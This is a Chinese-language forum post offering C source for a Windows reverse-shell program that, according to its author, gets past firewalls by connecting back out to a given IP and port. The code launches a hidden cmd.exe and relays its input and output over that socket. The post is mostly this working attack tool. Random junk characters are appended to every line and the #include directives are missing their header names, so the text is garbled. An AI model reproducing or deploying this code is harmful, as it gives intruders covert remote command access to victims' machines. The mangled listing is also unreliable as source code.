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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 lHqx}n@e  
(*BW/.Fq  
/* ============================== Af<>O$$6  
Rebound port in Windows NT [ 1GEe  
By wind,2006/7 /D+$|k mW]  
===============================*/ fC|u  
#include ~Xw?>&  
#include D|:sSld @  
:/qO*&i,N  
#pragma comment(lib,"wsock32.lib") kc[["w&  
&Qjl|2  
void OutputShell(); -P&e4sV{  
SOCKET sClient; L{pg?#\yC  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oy: MM  
2&URIQg*J  
void main(int argc,char **argv) #{,IY03  
{ V/e_:xECC  
WSADATA stWsaData; ]L^M7SKE6  
int nRet; w%n]~w=8  
SOCKADDR_IN stSaiClient,stSaiServer; ,2bAKa  
H/Q)zDP  
if(argc != 3) i@L2W>{P  
{ /)TEx}wk  
printf("Useage:\n\rRebound DestIP DestPort\n"); }}1Q<puM  
return; V}-o): dI|  
} V p{5Kxq  
Y_sVe  
WSAStartup(MAKEWORD(2,2),&stWsaData); ] '/]j  
T_T{c+,Zd$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zmRK%a(  
Am4(WXVQ  
stSaiClient.sin_family = AF_INET; 2,0F8=L  
stSaiClient.sin_port = htons(0); (=rv `1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); UUqj?'Nv  
nDy=ZsK  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) koZp~W-  
{ YYW70k:  
printf("Bind Socket Failed!\n"); aM!#  
return; G - WJlu  
} I_7EfAqg(  
It-*CD9  
stSaiServer.sin_family = AF_INET; >oDP(]YGg  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GR `ncI$z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2z3A"HrlA  
f*Js= hvO  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _9r{W65s  
{ ^j}sS!p  
printf("Connect Error!"); {m:R v&T  
return; W^Y0>W~  
} ; bE6Y]"Rz  
OutputShell(); B$EP'5@b  
} \'*`te:{  
,c l<74d  
void OutputShell() [{$0E=&0  
{ i]pG}SJ  
char szBuff[1024]; V"iLeC  
SECURITY_ATTRIBUTES stSecurityAttributes; *'-^R9dN.S  
OSVERSIONINFO stOsversionInfo; +to9].O7y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rK|&u v*b  
STARTUPINFO stStartupInfo; o#/iR]3  
char *szShell; D7/Bp4I#o  
PROCESS_INFORMATION stProcessInformation; Y'1V(5/&  
unsigned long lBytesRead; yG$@!*|  
 ?Nql7F4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); FoCkTp+/  
%$| k3[4V  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); " SqKS,J  
stSecurityAttributes.lpSecurityDescriptor = 0; Y3>\;W*?  
stSecurityAttributes.bInheritHandle = TRUE; # HYkzjb  
?GU!ke p  
3HR]TQ%r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); QPE.b-S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `wd*&vl  
>nEnX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s;$TX304  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;tiU OixJ  
stStartupInfo.wShowWindow = SW_HIDE; Cq;d2u0)o$  
stStartupInfo.hStdInput = hReadPipe; J?fh3RW9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; l}c2l'  
>]8.xkQq  
GetVersionEx(&stOsversionInfo); UROi.976D  
q.{/{9  
switch(stOsversionInfo.dwPlatformId) 'fFdqsXr  
{ !5t 3Y  
case 1: 4{t$M}?N  
szShell = "command.com"; 2tm-:CPG  
break; ~la04wR28  
default: >Fk `h=Wd  
szShell = "cmd.exe"; QC,(rB  
break; KdsvZim0>  
} "e<. n  
z}8L}:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \RyA}P5 S  
-wMW@:M_  
send(sClient,szMsg,77,0); b)^ZiRW``  
while(1) -GVG1#5  
{ HWOs@ !cL  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PGl-2Cr  
if(lBytesRead) } /3pC a  
{ "m;]6B."  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z}&C(m:al  
send(sClient,szBuff,lBytesRead,0); BM~niW;k  
} ^T6!z^g1h  
else UVUO}B@[S  
{ z>;+'>XXgx  
lBytesRead=recv(sClient,szBuff,1024,0); E?U]w0g  
if(lBytesRead<=0) break; u(WQWsN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >ImM~SR)  
} 5?0gC&WfN  
} aZGDtzNG5h  
,GP4I3D  
return; f<p4Pkv  
}
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